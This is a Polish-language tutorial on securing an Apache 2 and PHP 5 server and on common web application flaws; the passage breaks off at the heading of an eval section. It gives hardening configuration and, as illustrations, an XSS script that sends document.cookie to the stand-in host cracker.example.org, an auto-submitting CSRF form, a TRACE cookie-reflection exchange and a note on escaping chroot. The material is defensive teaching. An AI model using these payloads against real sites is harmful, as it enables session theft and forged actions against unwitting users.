powrót do strony głównej >>

Serwer Apache, aplikacje Web - bezpieczeństwo

Copyright © 2004-2006   Robert Nowotniak
Instytut Informatyki, Politechnika Łódzka

Uwaga: Niniejsze opracowanie powstało w latach 2004-2006. Obecnie (rok 2011) dostępnych jest wiele nowych rozwiązań technologicznych, które zyskują na popularności, jak np. serwery WWW lighttpd i nginx oraz frameworki takie jak np. Django i Ruby on Rails. Z drugiej strony wiele zaprezentowanych tutaj zagadnień pozostaje wciąż bardzo aktualnych, w szczególności opisane przeze mnie wady aplikacji webowych są nadal bardzo powszechne.


Spis treści


Wstęp

Serwer Apache jest najpopularniejszym serwerem WWW w Internecie, a równie często towarzyszy mu język skryptowy PHP. Takiego zestawu używam od dość dawna i mam sporo spostrzeżeń dotyczących jego bezpieczeństwa i wydajności, jak również bezpieczeństwa aplikacji Web. Podczas przechodzenia na Apache w wersji 2 i PHP 5 postanowiłem pobieżnie je opisać, w celu uporządkowania sobie tych spostrzeżeń. Wiem, że mogą się one wydać zupełnie oczywiste, ale z drugiej strony jest zaskakujące, na jak wielu serwerach zapomina się o tych podstawowych zasadach, o których wspomnę. To często skutkuje możliwością uzyskania dostępu do systemu przez crackerów. Często w serwisach bardzo poważnych firm, instytucji i portali nie są przestrzegane podstawowe zasady, które tu przedstawię. Wiele z kwestii ma poważne znaczenie, ponieważ nie są to typowe błędy w oprogramowaniu serwerowym, które po odnalezieniu mogą zostać definitywnie wyeliminowane w uaktualnionej wersji, ale często wynikają z założeń przyjętych przez autorów serwera lub języka.


Nowości w Apache2

Większość administratorów woli pozostać przy starej, sprawdzonej wersji serwera. Nowe wersje Apache i PHP wydają już mi się wystarczająco stabilne i mają kilka nowości.


Wybór modułu MPM

W przypadku POSIX mamy do dyspozycji trzy moduły MPM Apache, jednak obecnie tylko jeden nadaje się do wykorzystania (prefork).


Prosta i solidna instalacja wstępna

Istnieje mnóstwo przewodników, jak zainstalować Apache, PHP, MySQL itd., ja przedstawię tu swój sposób, który wydaje mi się bardzo przemyślany. Na systemach, które to umożliwiają (BSD, Gentoo GNU/Linux), poniżej opisane czynności można przeprowadzić przy użyciu systemu portów, który ułatwi zachowanie porządku w systemie i zautomatyzowanie kolejnych instalacji lub uaktualnień.

Aby ograniczyć skutki ewentualnego włamania, jest bardzo korzystnym zainstalowanie serwera w wyodrębnionym środowisku w systemie za pomocą mechanizmu chroot() lub, jeśli pozwala na to system operacyjny (jak BSD), bezpieczniejszego jail(). Potencjalny atakujący, nawet w przypadku przejęcia kontroli nad Apachem - tego też bardzo chcemy uniknąć - będzie miał bardzo utrudnione wydostanie się poza wydzielony fragment systemu. Należy pamiętać, że na standardowym jądrze Linux można wyjść poza chroot(), jeśli uzyska się uprawnienia superużytkownika. Oprócz tego włamywacz może usiłować nadużywać plików z bitem suid, będąc zamkniętym w poddrzewie, by zwiększyć swe uprawnienia. Niektóre łaty na jądro jak np. grsecurity podnoszą bezpieczeństwo linuksowego chroot() do poziomu zbliżonego do jail(). Ucieczkę z chroot() włamywacz może próbować wykonać przez ponowne użycie tego wywołania systemowego na tymczasowym katalogu, a następnie skorzystanie z fchdir() na posiadanym deskryptorze katalogu nadrzędnego.

Aby uprościć dalszy opis, załóżmy, że serwer będzie działać z uprawnieniami użytkownika www-user i grupy www-grp. Przyjmijmy też, że struktura katalogu wydzielonego dla serwera będzie następująca.

Propozycja struktury katalogów
/srv/www
|-- bin
|-- cgi-bin       programy CGI
|-- conf          pliki konfiguracyjne Apache, PHP
|-- dev
|-- etc           kilka minimalnych, niezbędnych plików (małe passwd, group)
|-- lib
|-- logs          logi serwera
|-- modules
|-- tmp
|-- users         konta użytkowników (dla serwerów współdzielonych)
`-- vhosts        katalogi dla wirtualnych hostów

Przy przygotowaniu minimalistycznego środowiska dla jail() i chroot() bardzo pomocne jest narzędzie truss(1) (po uprzednim zamontowaniu /proc) lub strace(1), ltrace(1) w GNU/Linux do sprawdzania wywołań systemowych i ich rezultatów. Przeprowadzając wstępną instalację można się opierać na poniższym zapisie sesji.

Zapis sesji z instalacją Apache2, PHP5
Przygotowanie struktury katalogów

# cd /srv
# mkdir -m 711 -p www www/etc www/lib www/var/run www/dev www/srv www/users www/vhosts
# mknod -m 666 www/dev/null c 1 3
# mknod -m 666 www/dev/random c 1 8
# mknod -m 444 www/dev/urandom c 1 9
# ln -s / www/srv/www


Kompilacja Apache2 z odpowiednimi opcjami (zwłaszcza dla suexec)

$ umask 22
$ cd /tmp/httpd-2.0.53
$ ./configure --prefix=/srv/www --with-mpm=prefork --enable-mods-shared=all --enable-so \
   --enable-ssl --enable-suexec --with-suexec-bin=/srv/www/bin/suexec \
   --with-suexec-caller=www --with-suexec-userdir=/srv/www/users \
   --with-suexec-docroot=/srv/www/cgi-bin --with-suexec-uidmin=1000 \
   --with-suexec-gidmin=1000 --with-suexec-umask=077
# make all install


Kompilacja PHP5 z odpowiednimi opcjami

$ cd /tmp/php-5.0.4
$ echo -e '5504i\n  set $1 $2 $3 2 0 53\n.\nwq' | ed configure
$ ./configure --prefix=/srv/www --with-config-file-path=/srv/www/conf \
   --with-apxs2=/srv/www/bin/apxs --with-gd --with-zlib --with-png --enable-dba \
   --with-db4 --enable-mbstring --enable-bcmath --with-gmp --disable-posix --enable-cli \
   --with-pgsql --enable-dom --enable-ftp --enable-gd-native-ttf --enable-magic-quotes \
   --enable-short-tags --enable-sockets --with-freetype --with-freetype-dir=/usr/lib/ \
   --with-jpeg-dir --with-gettext --with-mm --with-iconv --with-imap --with-imap-ssl \
   --with-mcrypt --with-openssl --with-pear --with-ttf --with-png \
   --enable-force-cgi-redirect --with-kerberos --with-mysql --with-curl
# make all install
# cp php.ini-dist /srv/www/conf/php.ini


Usunięcie niepotrzebnych plików oraz
rozebranie symboli z plików wykonywalnych i bibliotek dzielonych.

# cd /srv/www
# rm -fr manual htdocs
# find . -type f -perm +0111 ! -path './users*' ! -path './vhosts*' ! -path './lib*' \
     -exec strip {} \; 2>/dev/null
# strip lib/libapr* 2>/dev/null


Poprawienie praw dostępu

# find . -type d ! -path './vhosts/*' ! -path './users/*' ! -path './lib/*' \
     -exec chmod 711 {} \;
# find . -type f ! -path './vhosts/*' ! -path './users/*' ! -path './lib/*' \
     -exec chmod og+rX {} \;
# chmod 1733 tmp
# chmod 600 logs/*
# chmod 600 conf/httpd*
# chown 0:www bin/suexec
# chmod 4750 bin/suexec
# cp -L /bin/sh bin


Utworzenie twardych dowiązań do bibliotek dzielonych wymaganych
przez programy wykonywalne w strukturze katalogów serwera.

# find . -type f -perm +111 -exec ldd {} \; 2>/dev/null \
   | awk '/ => / && !/\/srv\/www/{print $3}' \
   | sort -u \
   | tee libs
# for p in $(< libs); do
     echo "$p"
     [ -L "$p" ] && readlink -qf "$p"
  done | tee libs2
# for p in $(< libs2); do cp -l $p lib; done


Do znalezienia brakujących elementów w strukturze serwera
można posłużyć się programem strace(1) lub truss(1) na BSD.

# strace -f -v -o strace.log chroot /srv/www /bin/apachectl start
...
# cp -l /lib/libnss_* lib
# cp -p /etc/{nsswitch.conf,passwd,group,hosts,host.conf,resolv.conf,localtime} etc/
# ...


Zawartość wszystkich plików skopiowanych do etc należy ograniczyć do minimum.

# cat etc/passwd 
www:x:80:80::/nonexistent:/nonexistent
# cat etc/group
www:x:80:
...

Nadanie atrybutów chronienia, dopisywania ext2 (na GNU/Linux)

# chattr +i bin/* conf/*
# chattr +a logs/*

Nadanie flag chronienia, dopisywania (na BSD)

# chflags schg bin/* conf/*
# chflags sappnd logs/*

Jeśli nie chcemy, by wszyscy mogli od razu dowiedzieć się o wersji serwera www, którą uruchomiliśmy, należy zmienić odpowiednie definicje preprocesora w pliku include/ap_release.h (w wersji 1.3 było to include/httpd.h). Ewentualnie można również odnaleźć odpowiedni ciąg w skompilowanym pliku wykonywalnym i na stałe go przerobić edytorem binarnym.


Prawa dostępu - jak ustawiać?

Wiele wnosi sytuacja, w której użytkownicy na serwerze mogą mieć na swoich stronach skrypty PHP lub programy CGI. Na wielu serwerach zdarza się, że konfiguracja pozwala im podglądać sobie nawzajem kody skryptów, hasła lub zawartość baz. Ponieważ proces serwera WWW musi móc odczytać zawartość pliku, użytkownik często nadaje mu uprawnienia odczytu dla wszystkich, nie mogąc zmienić właściciela lub grupy, równie często prawo zapisu (bazy, liczniki, ...), a lekkomyślny administrator nawet zmienia właściciela pliku na użytkownika, z którego prawami działa serwer WWW (bo można dać prawa 0600...). Jest to bardzo niebezpieczne. Nigdy nie należy tak robić. Niestety, w niektórych dystrybucjach GNU/Linux domyślnie jest to nieprzestrzegane.
W systemie nie powinny występować żadne pliki, których właścicielem jest użytkownik www-user lub grupą właścicielską www-grp - da się tego uniknąć także w przypadku plików sesji.

Często zdarza się, że administrator, chcąc chronić zawartość plików, tworzy katalog, którego grupą właścicielską jest www-grp. Przy włączonym safe_mode nie ma wtedy możliwości odwołania się do plików w takim katalogu. Jednak zupełnie wykluczone jest dopisanie użytkowników do grupy www-grp, aby oni sami mogli tworzyć katalogi z taką grupą właścicielską. Równocześnie mogliby przeglądać wszystkie takie katalogi, co w rezultacie zniosłoby zupełnie ograniczenie.

Niezłym pomysłem jest nadanie katalogowi, w którym trzymane są strony użytkowników bitu sgid i ustawienie grupy właścicielskiej www-grp. Odtąd grupą właścicielską katalogów użytkowników także będzie www-grp, więc będą oni mogli nadać uprawnienia 0710.

Bardzo pomocnym i wygodnym sposobem nadawania praw dostępu są grupy użytkowników, ale bardzo rzadko są w pełni wykorzystywane ich możliwości. Jeśli każdy użytkownik w systemie posiada swoją własną grupę (tak jest domyślnie w wielu dystrybucjach Linuksa), powinien on być ustalany jako administrator swojej grupy (a tak niestety domyślnie nie jest). Administrator grupy może dodawać i usuwać użytkowników z grupy oraz nadać hasło grupy. Zarządzenie grupą odbywa się bez ingerencji nadzorcy systemu. Gdy użytkownik jest wprowadzony do grupy, pojawia się ona jako jeden z uzupełniających identyfikatorów grupy procesów tego użytkownika. Administrator grupy może również ustalić hasło grupy. Dowolny użytkownik może wówczas uzyskać rzeczywisty identyfikator tej grupy za pomocą poleceń sg(1) i newgrp(1), podając hasło, jeśli grupa nie jest wśród jego grup dodatkowych.

W systemach w których istnieje taka możliwość (np. FreeBSD 5.x), wygodnie jest nadawać uprawnienia przy pomocy list kontroli dostępu (ACL). W gałęzi 2.6 GNU/Linux ACL jest standardowo, natomiast dla 2.4 można ściągnąć odpowiednie łaty.

Przede wszystkim niepożądane jest, by ktoś poza właścicielem i procesem serwera mógł mieć dostęp do plików stron. W przypadku systemu ze wsparciem dla ACL wystarczy sprawić, by użytkownik jako właściciel miał prawo odczytu i zapisu, a proces serwera tylko prawo odczytu pliku i wchodzenia do katalogu. Odtąd może się wydawać, że pozostali nie mają możliwości, by zyskać dostęp do takich danych. Jednak nie musi to być prawdą. Jest dostęp dla użytkownika, z którego prawami działa serwer, a łatwo stwierdzić, że użytkownicy też poniekąd mają uprawnienia takiego użytkownika - ich skrypty PHP działają z takimi uprawnieniami (tego postaramy się później uniknąć, podobnie w przypadku CGI). Włączony safe_mode w PHP (kontrola przez uid) zablokuje w prawdzie dostęp do danych w cudzych katalogach, w sytuacji gdy właścicielem tamtych plików jest drugi użytkownik, proces serwera może je czytać dzięki ustawieniu uprawnień dla grupy bądź ACL, a inni nie mają żadnych praw. Ale trzeba pamiętać, że użytkownicy mogą to obejść, jeśli są w stanie z poziomu PHP uruchamiać swoje programy, bo w ten sposób unikną ograniczenia safe_mode. Mogą to robić przez funkcje typu exec(), system(), popen(). Skuteczny identyfikator użytkownika (a także grupy - bo to jest kluczowe) będzie wówczas dziedziczony z procesu serwera. Zobacz diagram stanów. Zawsze warto zawężać fragment systemu plików, do którego jest dostęp z poziomu PHP przy użyciu open_basedir. Tę zmienną można ustawić oddzielnie na różnych katalogów.


Wstępna konfiguracja

Jeśli serwer został skompilowany ze wsparciem dla dynamicznych modułów należy ograniczyć te, które ładujemy, tylko do zbioru, z którego na pewno będziemy korzystać. W każdym zbędnym module może kiedyś się znaleźć błąd, który spróbują wykorzystać crackerzy. W szczególności warto wyłączyć moduły z informacjami statusowymi, moduł proxy, poprawiania literówek itp. Jeśli jest pewność, z których modułów korzystamy, warto zrezygnować z obsługi modułów i skompilować serwer w sposób monolityczny, co może poprawić wydajność od kilku do kilkunastu procent.

Następujące moduły są przydatne w większości konfiguracji:

LoadModule access_module       modules/mod_access.so
LoadModule alias_module        modules/mod_alias.so
LoadModule auth_digest_module  modules/mod_auth_digest.so
LoadModule auth_module         modules/mod_auth.so
LoadModule cgi_module          modules/mod_cgi.so
LoadModule dir_module          modules/mod_dir.so
LoadModule log_config_module   modules/mod_log_config.so
LoadModule mime_module         modules/mod_mime.so
LoadModule setenvif_module     modules/mod_setenvif.so
LoadModule userdir_module      modules/mod_userdir.so
LoadModule php5_module         modules/libphp5.so
LoadModule rewrite_module      modules/mod_rewrite.so

W przypadku korzystania z modułu MPM prefork główny proces serwera zawsze nadal działa z uprawnieniami superużytkownika - jedynie po to, aby móc otworzyć gniazdo na niskim numerze portu. Pozostałe podprocesy, które są odpowiedzialne za faktyczne realizowanie zapytań klientów, posiadają identyfikator nieuprzywilejowany zgodnie z dyrektywami User i Group. Jak sprawić, aby żaden proces nie miał praw superużytkownika? To na pewno będzie przydatne. Wystarczy uruchamiać serwer na porcie o wysokim numerze i skonfigurować przekierowanie z portu 80. Odtąd wszystkie procesy serwera będą nieuprzywilejowane. W systemie GNU/Linux z iptables można to zrobić za pomocą:

# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports <Apache_Port>

W takiej sytuacji nie mogłoby zostać użyte chroot() do zmiany korzenia struktury katalogów, więc może się przydać prosty wrapper. Jakie są skutki takiego rozwiązania? Są plusy i minusy. Jeśli wszystkie procesy serwera działają z prawami użytkownika nieuprzywilejowanego, a cracker przejmie kontrolę nad którymkolwiek procesem serwera, to w tym momencie ma kontrolę także nad głównym procesem macierzystym, czyli wszystkimi zasobami serwera, ale nie ma praw superużytkownika. Jeśli główny proces działa z identyfikatorem skutecznym superużytkownika, to cracker nie może go przejąć po włamaniu się na proces nieuprzywilejowany realizujący zapytania. Jednak w przypadku znalezienia bardzo poważnej luki w Apache mogłoby dojść do włamania się na konto superużytkownika. Można powiedzieć, że jest to mało prawdopodobne, biorąc pod uwagę, że proces macierzysty nie ma bezpośredniego kontaktu z realizacją zapytań, a jedynie nadzoruje grupę nieuprzywilejowanych procesów, które to wykonują.

Jest korzystne, jeśli się bardzo restrykcyjnie ograniczy konfigurację PHP, a konieczne uprawnienia selektywnie nadać tylko dla wybranych katalogów, np:

<Directory /vhosts/example.org/sklep>
   php_admin_flag engine on
   php_admin_flag file_uploads on
   AllowOverride AuthConfig FileInfo Limit
   php_admin_value safe_mode_exec_dir "/vhosts/example.org/sklep/bin"
   php_admin_value open_basedir "/vhosts/example.org/sklep"
</Directory>

To bardzo ważne, aby zabronić pobierania plików z lokalną konfiguracją dostępu .ht{access,passwd} jak również dołączanych fragmentów skryptów, najczęściej nazywanych *.inc. Osoba, która mogłaby pobrać te pliki, poznałaby wiele informacji o konfiguracji serwera. Zauważmy, że w domyślnej konfiguracji serwera Apache występuje pierwsza z dwu sekcji, ale bez dyrektywy Satisfy, która nie jest tu bez znaczenia.

<Files ~ "^\.ht">
    Order allow,deny
    Satisfy All
</Files>
<Files "*.inc">
    Order allow,deny
    Satisfy All
</Files>

Jeśli zostałaby pominięta dyrektywa Satisfy (tak jest w domyślnej konfiguracji), a użytkownik serwera ustawiłby w swoim lokalnym .htaccess dostęp jedynie dla uwierzytelnionych użytkowników lub tylko dla pewnych adresów, to jednocześnie pozwoliłby pobierać pliki .ht oraz .inc, bo musiałby użyć dyrektywy Satisfy Any, która w tym przypadku odnosiłaby się także do globalnie ustawionych ograniczeń zakazu pobierania .ht i .inc.

Bardzo dobrym sposobem przekazywania danych używanych przy uwierzytelnianiu jest posłużenie się zmiennymi otoczenia. Ma to na celu uniemożliwienie innym użytkownikom podglądania haseł w cudzych skryptach. Dyrektywa SetEnv może być ustawiana w kontekście katalogu, więc takie hasła będą mogły odczytać tylko wybrane skrypty. Trzeba jednak zauważyć, że tylko administrator może ustawiać takie hasła, w pliku konfiguracyjnym serwera, który powinien móc odczytywać tylko superużytkownik. Z drugiej strony może się zdarzyć, że cracker pozna wartość takiej zmiennej. Gdyby zostało przejęte konto www-user, watość zmiennych (podobnie jak cała konfiguracja) występowałaby gdzieś w przestrzeni adresowej procesu serwera, działającego z identyfikatorem skutecznym www-user.

LoadModule env_module modules/mod_env.so

<Directory "/users/jkowalski/forum/">
   SetEnv E_HOST "baza.example.org:3306"
   SetEnv E_USER "jkowalski"
   SetEnv E_PASS "moje tajne hasło"
</Directory>

Rozsądne ustawienia PHP

Standardową konfigurację (php.ini), którą otrzymujemy w dystrybucji PHP proponuję ograniczyć, zwracając uwagę co najmniej na następujące dyrektywy. Stosujemy zasadę, że lepiej wyłączyć zbyt wiele i selektywnie włączać tylko to i tylko tam, gdzie je to potrzebne. Opcje PHP można zmieniać dla poszczególnych kontekstów w pliku konfiguracyjnym serwera Apache oraz w .htaccess przy pomocy dyrektyw php_value, php_flag, php_admin_value, php_admin_flag. Poniżej znajduje się konfiguracja PHP, która jest znacznie bardziej restrykcyjna niż ta, którą otrzymujemy standardowo. Szczegółowy komentarz i omówienie znaczenia poszczególnych ustawień znajduje się w odpowiednich podrozdziałach dotyczących bezpieczeństwa PHP.

[PHP]
engine = Off
expose_php = Off

;
; Ustawienie trybu bezpiecznego
;
safe_mode = On
safe_mode_gid = Off
safe_mode_include_dir = .
safe_mode_exec_dir = "/cgi-bin"
safe_mode_allowed_env_vars = PHP_
safe_mode_protected_env_vars = LD_LIBRARY_PATH

; Dla poszczególnych katalogów open_basedir
; należy dodatkowo jeszcze bardziej "zacieśniać"
open_basedir = "/vhosts"

include_path = .
disable_functions = exec,popen,system ; itd
disable_classes =

;
; register_globals...
; Należy _KONIECZNIE_ wyłączyć
;
register_globals = Off

;
; Konfiguracja powiadamiania o błędach
;
error_reporting  =  E_ALL
display_errors = Off
display_startup_errors = Off
log_errors = On
log_errors_max_len = 1024
ignore_repeated_errors = On
ignore_repeated_source = Off
report_memleaks = On
track_errors = On

;
; Ograniczenia zasobów dla skryptów
;
max_execution_time = 30
max_input_time = 6
memory_limit = 6M
post_max_size = 8M

; Automatyczne cytowanie lepiej wyłączyć i pisać skrypty,
; zawsze pamiętająć o używaniu odpowiednich funkcji cytujących
magic_quotes_gpc = Off

auto_prepend_file =
auto_append_file =

default_mimetype = "text/html"
default_charset = "ISO-8859-2"

doc_root = "/vhosts"
user_dir =
extension_dir = "./"

;
; Wyłączenie funkcji dynamicznego linkera
;
enable_dl = Off

cgi.force_redirect = On

;
; Wyłączenie uploadowania plików
;
file_uploads = Off
upload_max_filesize = 5M

;
; Wyłączenie dopuszczania URLi w otwieranych strumieniach
; (często wykorzystywane przez crackerów)
;
allow_url_fopen = Off
default_socket_timeout = 20

;
; Konfiguracja wysyłania maili z PHP
;
[mail function]
SMTP = localhost
smtp_port = 25
sendmail_path = "/bin/mail_wrapper"

Ograniczenie dostępnych zasobów

Aby zapobiec (rozproszonym) atakom odmowy dostępu, należy koniecznie ustawić rozsądne limity, które będą ograniczać procesy serwera. Na małych i bardzo małych serwerach można rozpocząć od takich ustawień modułu MPM prefork:

<IfModule prefork.c>
StartServers         2
MinSpareServers      1
MaxSpareServers      3
MaxClients          80
MaxRequestsPerChild  0
</IfModule>

RLimitCPU 60 240
RLimitMEM 20480 40960
RLimitNPROC 10 15

Do testowania wydajności serwera istnieje narzędzie ab(1) instalowane standardowo. Oprócz tego w ramach Apache powstał również projekt Flood do testowania obciążenia serwera.


Bezpieczeństwo aplikacji Web

Ten rozdział zawiera ,,studium przypadku'' różnych często występujących okoliczności, z którymi się spotykamy na co dzień w różnych serwisach.

Ataki Cross-Site Scripting (XSS)

Tego rodzaju sytuacja występuje najczęściej, gdy dane, które pochodzą z zapytania otrzymanego od klienta (np. pola formularzy), są ponownie wyświetlane na stronie serwisu bez uprzedniego sprawdzenia, czy nie występują w nich niebezpieczne metaznaki.

Atak ma na celu wykorzystanie zaufania nieświadomego użytkownika do pewnej strony lub włączenie dowolnego kodu (wykonanywanego po stronie klienta) w tekst strony. Jest to porównywalnie groźne, jak możliwość podmiany strony przez atakującego.

Tak może wyglądać przykładowy kod, który będzie usiłował wstrzyknąć cracker, w kod strony podatnej na atak XSS. Jak widać w ten sposób można łatwo wykraść ciasteczko (czyli zdobyć czyjąś sesję).

<SCRIPT Language="JavaScript">
<!--
   /*
    * Prosty kod do wykradnięcia ciasteczka
    */
   document.location = 'http://cracker.example.org/loguj/?ciacho=' + document.cookie
-->
</SCRIPT> 

Cracker może próbować posłużyć się XSS, a następnie kontynuować atak używając metod tzw. inżynierii społecznej. Wykorzystując zaufanie, które mają nieświadomi użytkownicy danego serwisu, dalej może być użyty atak phishingu. Dlatego elementarną czynnością jest używanie funkcji, które zamienią wszystkie znaki specjalne (niebezpieczne tagi jak <SCRIPT>) odpowiednimi sekwencjami ucieczkowymi.

Okazuje się jednak, że nawet to może czasem nie wystarczyć. Załóżmy, że w polu Content-Type odpowiedzi HTTP serwer nie podaje jawnie kodowania, które jest używane na stronie. Byłaby to po prostu odpowiedź Content-Type: text/html. W takim przypadku istnieje ryzyko, że włamywacz, który może się swobodnie posłużyć atakiem XSS, spróbuje narzucić stronę kodową, która używa znaków szerokich (UTF), gdzie niebezpiecznym znakom (chociażby <) będzie odpowiadał więcej niż jeden kod dwubajtowy. A to może spowodować niewystarczające zadziałanie funkcji usuwających metaznaki. W praktyce jest to dość trudne to zrealizowania.

Przed przypadkiem użycia znaków szerokich chroni dyrektywa serwera Apache AddDefaultCharset, dostępna od wersji 1.3.11. Strona kodowa podawana w nagłówku HTTP ma większe znaczenie niż podawana później w nagłówku strony.

Jeżeli skrypty w serwisie umożliwiają użytkownikom wprowadzanie treści, która zostanie ponownie wyświetlona innym użytkownikom (fora, komentarze), po usunięciu niebezpiecznych tagów (<SCRIPT>), to skrypt takiej strony może być podatny na XSS, jeżeli tylko pozwala na osadzenie odnośników HTML w treści tekstu. Użytkownik mógł bowiem wprowadzić tego typu kod, nie wymagający posłużenia się SCRIPT.

<a href="index.htm" onClick="alert(document.cookie)">test</a>
<a href="javascript:alert(document.cookie);">Sprawdź to</a>

Innym przykładem strony podatnej na atak XSS może być serwis oparty w dużym stopniu na JavaScript. Przyjmijmy, że w kodzie JavaScript pewnego portalu jest definiowany łańcuch, który później jest wypisywany przez document.write, z zawartością jednego z obszarów na stronie. Zawartość tego łańcucha nie jest statyczna, ale generowana przez skrypt po stronie serwera, który pobiera dane z bazy. Treść pochodzi z opinii wprowadzonych przez użytkowników portalu, więc mogą oni wprowadzać tam dość swobodnie dowolne dane.

Istotny fragment kodu wygląda zatem następująco:

<script Language="javascript">
<!--
   ...
   var zmienna = 'Opinie użytkowników: \n'
      + '... Opinia 1 ...\n'
      + '...';
   ...
   document.write(zmienna);
   ...
-->
</script>

Autor skryptów, próbując się zabezpieczyć przed atakiem XSS ustawił wycinanie wszystkich znaczników i poprzedzanie wszystkich apostrofów znakiem backslash.

Czy jest to wystarczające, aby cracker nie mógł osadzić dowolnego własnego kodu na stronie? Okazuje się, że nie. Nadal może bowiem użyć znaku backslash, który ma specjalne znaczenie wewnątrz literału łańcuchowego JavaScript. Za pomocą notacji \xXX może tam umieścić łańcuch, zawierający dowolne znaki (czyli także ,,<'' i ,,>''), który będzie wypisany na stronie po stronie klienta i ponownie przetworzony jako JavaScript.

Specjalnie przygotowany łańcuch wyglądałby wówczas w ten sposób:

... \x3Ca href="" onmouseover="alert(document.cookie);" \x3ETUTAJ!\x3C/a\x3E ...

Luki związane z XSS występowały w ciągu ostatnich kilku lat także w serwisach największych polskich banków internetowych.

Ataki Cross-Site Request Forgeries (CSRF)

Technika jest wykorzystywana przez crackerów do ,,zachęcania'' do wejścia na stronę, o adresie przygotowanym przez osobę przeprowadzającą atak. Może to mieć na celu chociażby próbę wykorzystania luk w oprogramowaniu klienckim, przeglądarce, bibliotece graficznej (GDI) lub skorzystanie z uprawnień, którymi w danej chwili dysponuje nieświadomy użytkownik, do wykonania pewnej operacji z jego uprawnieniami bez jego zgody. Gdy użytkownik pozwoli się nakłonić, do odwiedzenia adresu niegroźny.example.com, to wysłanie dalszych zapytań może się odbyć niejawnie.

Jeśli cracker dysponuje wiedzą, że w danej chwili użytkownik jest uwierzytelniony w pewnym serwisie i ma aktywną sesję, a obsługa tamtego serwisu jest realizowana za pomocą metody GET, to istnieje niebezpieczeństwo wystąpienia ataku CSRF. Atakujący mógł bowiem przygotować niegroźnie wyglądającą stronę, w której występują odwołania do wspomnianego serwisu:

<IMG SRC="http://serwis2.example.com/?operacja=....;foo=...">
<FRAME SRC="http://serwis2.example.com/settings.php?bar=...">

Z tego względu niektóre przeglądarki (Firefox) umożliwiają blokowanie obrazków pochodzących z innego serwera niż pierwotne połączenie.

Zapytania przesyłane metodą POST również mogą być fałszowane przez specjalnie przygotowany przez crackera kod na stronie. Przedstawiony poniżej kod JavaScript powoduje wysłanie formularza z dowolnymi polami i wartościami przez przeglądarkę nieświadomego użytkownika. Istnieje także możliwość napisania podobnego kodu, który automatycznie wywoła serię zapytań, przeprowadzając użytkownika przez serię kilku formularzy np. w serwisie banku, podatnym na takie zagrożenie.

<FORM NAME="formularz" ACTION="http://www.example.org/przyklad.pl" METHOD="POST">
    <INPUT TYPE="HIDDEN" NAME="pole1" VALUE="Dowolna wartość">
</FORM>

<SCRIPT Language="JavaScript">
<!--
   document.formularz.submit();
-->
</SCRIPT>

Specyficzny rodzaj zagrożenia, związanego z tą metodą przyszedł mi raz do głowy z wykorzystaniem ciasteczek. Często zdarza się, że różne serwisy hostingowe (ale nie tylko) pozwalają użytkownikom umieścić swoją stronę pod adresem typu psotnik.host1.serwis-example.net.pl. Załóżmy dodatkowo, że serwis-example używa mechanizmu ciasteczek do zapamiętywania pewnych informacji o odwiedzających. W takiej sytuacji złośliwy użytkownik, mając stronę w poddomenie serwisu, może ustawić ciasteczko dla całej domeny .serwis-example.net.pl. Istnieje niebezpieczeństwo, że dane z tego ciasteczka zostaną zinterpretowane przez serwis jako rozkaz wykonania jakiejś akcji z uprawnieniami klienta lub zostaną wyświetlone w niebezpieczny sposób (atak XSS), co może spowodować przechwycenie sesji.

Ataki Cross-Site Tracing (XST)

Ten rodzaj zagrożenia jest związany z wykorzystaniem metody TRACE w zapytaniu HTTP. Metoda TRACE służy do uzyskiwania ,,odpowiedzi zwrotnych'', czyli diagnozowania sesji HTTP. Odpowiedzią serwera na dowolne zapytanie w tej metodzie są wszystkie pola i ich wartości nagłówka, które znalazły się w zapytaniu. W szczególności serwer zwróci także wartość ciasteczka, które zostało mu wysłane:

< TRACE / HTTP/1.1
< Host: example.org
< Set-Cookie: Zmienna=Wartosc;                                                
< 
> HTTP/1.1 200 OK
> Date: Tue, 22 Sep 2004 23:11:40 GMT
> Server: Apache Foo Bar
> Transfer-Encoding: chunked
> Content-Type: message/http
> 
> 45
> TRACE / HTTP/1.1
> Host: example.org
> Set-Cookie: Zmienna=Wartosc;
> 
> 
> 0
> 

Atak XST polega na odebraniu z poziomu skryptu uruchomionego po stronie klienta (np. w JavaScript) wartości pól (więc także ciasteczka), które przyglądarka wysyła do serwera. Ma to sens w połączeniu z wadami międzydomenowymi w przeglądarce.

Cracker mógłby przygotować stronę z kodem JavaScript, który łączy przeglądarkę w metodzie TRACE (za pomocą XMLHttpRequest) nieświadomego użytkownika z serwisem, dla którego jest ustawione ciasteczko. Wartość ciasteczka dla tego serwisu zostałaby wówczas uzyskana przez skrypt crackera i mogłaby być mu wysłana tak, jak w zwykłym ataku Cross-Site Scripting. XST może także posłużyć do obejścia zabezpieczenia HttpOnly, wprowadzonego do MSIE 6.01 SP1. Ciasteczka oznaczone takim atrybutem nie są dostępne bezpośrednio z poziomu skryptu, ale mogą być uzyskane poprzez TRACE.

Aby wyeliminować to zagrożenie w serwerze Apache, wystarczy wyłączyć obsługę metody TRACE. Nie wiąże się to z żadnym ograniczeniem funkcjonalności, bo metoda ta nie jest wykorzystywana przez przeglądarki www. Zablokowanie metody można wykonać za pomocą dyrektyw modułu Rewrite:

RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F] 

Następnie w każdej sekcji VirtualHost, która ma podlegać ochronie, należy uaktywnić moduł Rewrite (którego działanie nie jest domyślnie dziedziczone przez wirtualne hosty):

RewriteOptions inherit
RewriteEngine on

Brak blokad plików z danymi

Często zdarza się, że moduły odpowiedzialne za modyfikację plików z danymi nie używają wyłącznych i dzielonych blokad, podczas operacji na danych. Zazwyczaj trudno zauważyć jakiekolwiek nieprawidłowe działanie takich skryptów, jednak przy bardzo dużym obciążeniu systemu (tysiące zapytań na sekundę) może to doprowadzić do utraty integralności zbioru na dysku. W najlepszym przypadku zawartość pliku może zostać lekko przetasowana przez zamianę kolejności niektórych rekordów w pliku.

Jednak może również wystąpić sytuacja, na skutek której w rekordzie, który powinien przechowywać dane określające uprawnienia użytkownika, zostanie zapisany inny rekord, który mógł być przez użytkownika specjalnie w dowolny sposób zmieniony.

Aby temu zapobiec, wystarczy jedynie konsekwentnie używać zakładać blokady wyłączne i dzielone, za pomocą takich funkcji jak flock(), lockf().

Niebezpieczne użycie podwójnego wartościowania (eval)

